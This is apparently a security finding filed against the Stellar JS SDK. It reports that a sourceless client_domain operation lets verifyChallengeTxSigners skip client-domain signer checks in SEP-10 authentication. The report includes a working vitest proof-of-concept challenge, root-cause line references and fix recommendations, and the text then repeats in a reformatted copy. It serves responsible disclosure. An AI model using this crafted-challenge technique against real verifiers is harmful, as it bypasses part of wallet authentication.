Security Finding: Sourceless client_domain Operation Silently Disables Client Domain Signer Verification
Subsystem: webauth
Severity: Medium
Model Attribution: claude-sonnet-4.6, default
Impact
A SEP-10 challenge transaction that contains a client_domain ManageData operation without an explicit source account causes verifyChallengeTxSigners() to silently skip all client domain signer enforcement. The function returns successfully (yielding the client account signer) even though no signer for the client_domain operation ever signed the challenge. This constitutes a partial auth-bypass of the SEP-10 client-domain verification step.
Root Cause
In Stellar XDR, an operation's source account is optional. When absent, the JS SDK's Transaction parser sets op.source = undefined — it does not resolve the inherited transaction source. Two code locations combine to create the bypass:
readChallengeTx() — line 318 accepts the sourceless op because the source check is skipped for client_domain named ops:
if (op.source !== serverAccountID && op.name !== "client_domain") {
throw new InvalidChallengeError("The transaction has operations that are unrecognized");
}
verifyChallengeTxSigners() — line 480 assigns clientSigningKey directly from op.source:
clientSigningKey = op.source; // undefined when op has no explicit source
All subsequent guards on clientSigningKey are gated by truthiness:
- Line 492:
if (clientSigningKey) → false, key NOT added to allSigners
- Line 538:
if (clientSigningKey) → false, no removal attempted
Result: the client_domain operation is present in the parsed challenge (visible to the caller), but no signing key is required or checked for it.
Attack Vector
- A non-JS server (Go, Python, etc.) or manually crafted XDR builds a valid SEP-10 challenge that includes a
client_domain ManageData operation without an explicit source account.
- The server signs the challenge (required for SEP-10 validity).
- The client signs with only its account key — no client domain signer.
verifyChallengeTxSigners() is called on the JS SDK verifier side.
- The function returns
[clientAccountPublicKey] instead of throwing InvalidChallengeError.
Note: JS-built challenges are unaffected because buildChallengeTx() always sets an explicit source for client_domain operations. Exploitation requires cross-SDK interoperability or manually crafted XDR.
PoC (TypeScript / vitest — verified passing)
import { describe, it, beforeEach, afterEach, expect, vi } from "vitest";
import randomBytes from "randombytes";
import { StellarSdk } from "../test-utils/stellar-sdk-import";
const { WebAuth } = StellarSdk;
describe("Security PoC - sourceless client_domain signer bypass", () => {
beforeEach(() => { vi.useFakeTimers({ now: 0 }); });
afterEach(() => { vi.useRealTimers(); });
it("accepts a challenge with client_domain but no client-domain signer when the op source is omitted", () => {
const serverKP = StellarSdk.Keypair.random();
const clientKP = StellarSdk.Keypair.random();
const serverAccount = new StellarSdk.Account(serverKP.publicKey(), "-1");
const transaction = new StellarSdk.TransactionBuilder(serverAccount, {
fee: "100",
networkPassphrase: StellarSdk.Networks.TESTNET,
})
.addOperation(StellarSdk.Operation.manageData({
source: clientKP.publicKey(),
name: "testanchor.stellar.org auth",
value: randomBytes(48).toString("base64"),
}))
.addOperation(StellarSdk.Operation.manageData({
source: serverKP.publicKey(),
name: "web_auth_domain",
value: "testanchor.stellar.org",
}))
// client_domain op intentionally has no source — this triggers the bypass
.addOperation(StellarSdk.Operation.manageData({
name: "client_domain",
value: "wallet.example.com",
}))
.setTimeout(30)
.build();
transaction.sign(serverKP);
const serverSignedChallenge = transaction.toEnvelope().toXDR("base64").toString();
const parsedChallenge = new StellarSdk.Transaction(serverSignedChallenge, StellarSdk.Networks.TESTNET);
// Confirm op.source is undefined after XDR round-trip
vi.advanceTimersByTime(200);
parsedChallenge.sign(clientKP);
const clientSignedChallenge = parsedChallenge.toEnvelope().toXDR("base64").toString();
// BUG: returns successfully instead of throwing InvalidChallengeError
expect(
WebAuth.verifyChallengeTxSigners(
clientSignedChallenge,
serverKP.publicKey(),
StellarSdk.Networks.TESTNET,
[clientKP.publicKey()],
"testanchor.stellar.org",
"testanchor.stellar.org",
),
).toEqual([clientKP.publicKey()]);
});
});
Runtime verification:
npx vitest run test/unit/security_poc.test.ts --config config/vitest.config.ts → 1 test passed (bug confirmed)
- Baseline:
npx vitest run test/unit/utils.test.ts --config config/vitest.config.ts -t "throws an error if a challenge with a client_domain operation doesn't have a matching signature" → passed (explicit-source variant correctly throws)
Affected Code
| File |
Location |
Description |
src/webauth/challenge_transaction.ts |
line 318 |
readChallengeTx() accepts sourceless client_domain op without validating source |
src/webauth/challenge_transaction.ts |
line 480 |
verifyChallengeTxSigners() assigns clientSigningKey = op.source (may be undefined) |
src/webauth/challenge_transaction.ts |
lines 492, 517, 538 |
All guards gated on if (clientSigningKey), so undefined bypasses all checks |
Recommendation
In readChallengeTx(): Require that client_domain ManageData operations have an explicit source account. Throw InvalidChallengeError if op.source is undefined or null for a client_domain op.
In verifyChallengeTxSigners(): Add a guard after extracting clientSigningKey: if a client_domain op is found but clientSigningKey is falsy, throw InvalidChallengeError immediately rather than silently skipping enforcement.
Related Issues
Security Finding: Sourceless
client_domainOperation Silently Disables Client Domain Signer VerificationSubsystem: webauth
Severity: Medium
Model Attribution: claude-sonnet-4.6, default
Impact
A SEP-10 challenge transaction that contains a
client_domainManageData operation without an explicit source account causesverifyChallengeTxSigners()to silently skip all client domain signer enforcement. The function returns successfully (yielding the client account signer) even though no signer for theclient_domainoperation ever signed the challenge. This constitutes a partial auth-bypass of the SEP-10 client-domain verification step.Root Cause
In Stellar XDR, an operation's source account is optional. When absent, the JS SDK's
Transactionparser setsop.source = undefined— it does not resolve the inherited transaction source. Two code locations combine to create the bypass:readChallengeTx()— line 318 accepts the sourceless op because the source check is skipped forclient_domainnamed ops:verifyChallengeTxSigners()— line 480 assignsclientSigningKeydirectly fromop.source:All subsequent guards on
clientSigningKeyare gated by truthiness:if (clientSigningKey)→ false, key NOT added toallSignersif (clientSigningKey)→ false, no removal attemptedResult: the
client_domainoperation is present in the parsed challenge (visible to the caller), but no signing key is required or checked for it.Attack Vector
client_domainManageData operation without an explicit source account.verifyChallengeTxSigners()is called on the JS SDK verifier side.[clientAccountPublicKey]instead of throwingInvalidChallengeError.PoC (TypeScript / vitest — verified passing)
Runtime verification:
npx vitest run test/unit/security_poc.test.ts --config config/vitest.config.ts→ 1 test passed (bug confirmed)npx vitest run test/unit/utils.test.ts --config config/vitest.config.ts -t "throws an error if a challenge with a client_domain operation doesn't have a matching signature"→ passed (explicit-source variant correctly throws)Affected Code
src/webauth/challenge_transaction.tsreadChallengeTx()accepts sourcelessclient_domainop without validating sourcesrc/webauth/challenge_transaction.tsverifyChallengeTxSigners()assignsclientSigningKey = op.source(may beundefined)src/webauth/challenge_transaction.tsif (clientSigningKey), soundefinedbypasses all checksRecommendation
In
readChallengeTx(): Require thatclient_domainManageData operations have an explicit source account. ThrowInvalidChallengeErrorifop.sourceisundefinedornullfor aclient_domainop.In
verifyChallengeTxSigners(): Add a guard after extractingclientSigningKey: if aclient_domainop is found butclientSigningKeyis falsy, throwInvalidChallengeErrorimmediately rather than silently skipping enforcement.Related Issues
verifyChallengeTxSigners()bypass (client_domain signer inflatessignersFound; different root cause)